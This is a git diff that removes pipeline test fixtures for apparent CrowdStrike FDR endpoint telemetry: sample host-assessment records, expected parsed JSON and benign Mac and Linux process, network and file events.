"unauthorized_remote_access_xpcom_mac": "yes" - }, - "cid": "2222", - "os_version": "Sonoma (14)", - "product_type_desc": "Workstation", - "scores": { - "modified_time": "2024-02-13T22:33:34.077Z", - "os": 89, - "overall": 97, - "sensor": 100, - "version": "3.8.1" - } - }, - "device": { - "id": "1111" - }, - "event": { - "created": "2020-10-01T09:58:32.519Z", - "id": "|1111|2222", - "original": "{\"FileContent\": \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\",\"aid\":\"1111\",\"cid\":\"2222\",\"hostname\":\"example-XXXXXXXXX\",\"os_version\":\"Sonoma (14)\",\"product_name\":\"\",\"product_type_desc\":\"Workstation\",\"host_hidden_status\":\"VISIBLE\",\"event_platform\":\"Mac\",\"scores\":{\"os\":89,\"sensor\":100,\"overall\":97,\"version\":\"3.8.1\",\"modified_time\":\"2024-02-13T22:33:34.077075097Z\"},\"assessments\":{\"analytics_and_improvements_mac\":\"yes\",\"application_firewall_mac\":\"yes\",\"crendential_dumping_hash_mac\":\"yes\",\"crendential_dumping_kcpassword_mac\":\"yes\",\"crowdstrike_full_disk_access\":\"yes\",\"execution_blocking_custom_blocking_enabled_mac\":\"yes\",\"execution_blocking_intel_threats_enabled_mac\":\"yes\",\"execution_blocking_suspicious_processes_enabled_mac\":\"yes\",\"file_vault_enabled_mac\":\"yes\",\"gatekeeper_mac\":\"yes\",\"internet_sharing_mac\":\"yes\",\"mac_os_version\":\"yes\",\"ml_adware_detection_mac\":\"yes\",\"ml_adware_prevention_mac\":\"yes\",\"ml_cloud_antimalware_detection_mac\":\"yes\",\"ml_cloud_antimalware_prevention_mac\":\"yes\",\"ml_sensor_adware_and_pup_detection_mac\":\"yes\",\"ml_sensor_adware_and_pup_prevention_mac\":\"yes\",\"ml_sensor_antimalware_detection_mac\":\"yes\",\"ml_sensor_antimalware_prevention_mac\":\"yes\",\"quarantine_mac\":\"yes\",\"real_time_response_enabled_mac\":\"yes\",\"remote_login_mac\":\"yes\",\"script_based_execution_monitoring_mac\":\"yes\",\"sip_enabled_mac\":\"yes\",\"stealth_mode_mac\":\"no\",\"system_full_disk_access_mac\":\"no\",\"unauthorized_remote_access_chopper_mac\":\"yes\",\"unauthorized_remote_access_empyre_mac\":\"yes\",\"unauthorized_remote_access_xpcom_mac\":\"yes\"},\"event_type\":\"ZeroTrustHostAssessment\",\"timestamp\":\"1601546312519\"}" - }, - "host": { - "hostname": "example-XXXXXXXXX", - "id": "1111", - "name": "example-XXXXXXXXX", - "os": { - "type": "macos" - } - }, - "observer": { - "serial_number": "1111" - }, - "related": { - "hosts": [ - "example-XXXXXXXXX" - ] - }, - "tags": [ - "preserve_original_event" - ] - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log deleted file mode 100644 index 24929e164d..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log +++ /dev/null @@ -1 +0,0 @@ -{"FileContent": "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","aid":"1111","cid":"2222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml deleted file mode 100644 index 087e1a7e76..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml +++ /dev/null @@ -1,6 +0,0 @@ -fields: - "@timestamp": "2020-04-28T11:07:58.223Z" - tags: - - preserve_original_event - _conf: - long_fields: index_long_fields diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json deleted file mode 100644 index 4bb54daa38..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json +++ /dev/null @@ -1,81 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2020-10-01T09:58:32.519Z", - "crowdstrike": { - "EventType": "ZeroTrustHostAssessment", - "FileContent": "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "HostHiddenStatus": "VISIBLE", - "assessments": { - "analytics_and_improvements_mac": "yes", - "application_firewall_mac": "yes", - "crendential_dumping_hash_mac": "yes", - "crendential_dumping_kcpassword_mac": "yes", - "crowdstrike_full_disk_access": "yes", - "execution_blocking_custom_blocking_enabled_mac": "yes", - "execution_blocking_intel_threats_enabled_mac": "yes", - "execution_blocking_suspicious_processes_enabled_mac": "yes", - "file_vault_enabled_mac": "yes", - "gatekeeper_mac": "yes", - "internet_sharing_mac": "yes", - "mac_os_version": "yes", - "ml_adware_detection_mac": "yes", - "ml_adware_prevention_mac": "yes", - "ml_cloud_antimalware_detection_mac": "yes", - "ml_cloud_antimalware_prevention_mac": "yes", - "ml_sensor_adware_and_pup_detection_mac": "yes", - "ml_sensor_adware_and_pup_prevention_mac": "yes", - "ml_sensor_antimalware_detection_mac": "yes", - "ml_sensor_antimalware_prevention_mac": "yes", - "quarantine_mac": "yes", - "real_time_response_enabled_mac": "yes", - "remote_login_mac": "yes", - "script_based_execution_monitoring_mac": "yes", - "sip_enabled_mac": "yes", - "stealth_mode_mac": "no", - "system_full_disk_access_mac": "no", - "unauthorized_remote_access_chopper_mac": "yes", - "unauthorized_remote_access_empyre_mac": "yes", - "unauthorized_remote_access_xpcom_mac": "yes" - }, - "cid": "2222", - "os_version": "Sonoma (14)", - "product_type_desc": "Workstation", - "scores": { - "modified_time": "2024-02-13T22:33:34.077Z", - "os": 89, - "overall": 97, - "sensor": 100, - "version": "3.8.1" - } - }, - "device": { - "id": "1111" - }, - "event": { - "created": "2020-10-01T09:58:32.519Z", - "id": "|1111|2222", - "original": "{\"FileContent\": \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\",\"aid\":\"1111\",\"cid\":\"2222\",\"hostname\":\"example-XXXXXXXXX\",\"os_version\":\"Sonoma (14)\",\"product_name\":\"\",\"product_type_desc\":\"Workstation\",\"host_hidden_status\":\"VISIBLE\",\"event_platform\":\"Mac\",\"scores\":{\"os\":89,\"sensor\":100,\"overall\":97,\"version\":\"3.8.1\",\"modified_time\":\"2024-02-13T22:33:34.077075097Z\"},\"assessments\":{\"analytics_and_improvements_mac\":\"yes\",\"application_firewall_mac\":\"yes\",\"crendential_dumping_hash_mac\":\"yes\",\"crendential_dumping_kcpassword_mac\":\"yes\",\"crowdstrike_full_disk_access\":\"yes\",\"execution_blocking_custom_blocking_enabled_mac\":\"yes\",\"execution_blocking_intel_threats_enabled_mac\":\"yes\",\"execution_blocking_suspicious_processes_enabled_mac\":\"yes\",\"file_vault_enabled_mac\":\"yes\",\"gatekeeper_mac\":\"yes\",\"internet_sharing_mac\":\"yes\",\"mac_os_version\":\"yes\",\"ml_adware_detection_mac\":\"yes\",\"ml_adware_prevention_mac\":\"yes\",\"ml_cloud_antimalware_detection_mac\":\"yes\",\"ml_cloud_antimalware_prevention_mac\":\"yes\",\"ml_sensor_adware_and_pup_detection_mac\":\"yes\",\"ml_sensor_adware_and_pup_prevention_mac\":\"yes\",\"ml_sensor_antimalware_detection_mac\":\"yes\",\"ml_sensor_antimalware_prevention_mac\":\"yes\",\"quarantine_mac\":\"yes\",\"real_time_response_enabled_mac\":\"yes\",\"remote_login_mac\":\"yes\",\"script_based_execution_monitoring_mac\":\"yes\",\"sip_enabled_mac\":\"yes\",\"stealth_mode_mac\":\"no\",\"system_full_disk_access_mac\":\"no\",\"unauthorized_remote_access_chopper_mac\":\"yes\",\"unauthorized_remote_access_empyre_mac\":\"yes\",\"unauthorized_remote_access_xpcom_mac\":\"yes\"},\"event_type\":\"ZeroTrustHostAssessment\",\"timestamp\":\"1601546312519\"}" - }, - "host": { - "hostname": "example-XXXXXXXXX", - "id": "1111", - "name": "example-XXXXXXXXX", - "os": { - "type": "macos" - } - }, - "observer": { - "serial_number": "1111" - }, - "related": { - "hosts": [ - "example-XXXXXXXXX" - ] - }, - "tags": [ - "preserve_original_event" - ] - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log deleted file mode 100644 index c3de03a23b..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log +++ /dev/null @@ -1,138 +0,0 @@ -{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n feature_name: FEATURE_NAME,\n variants: [FEATURE_VARIANT],\n )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"} -{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"} 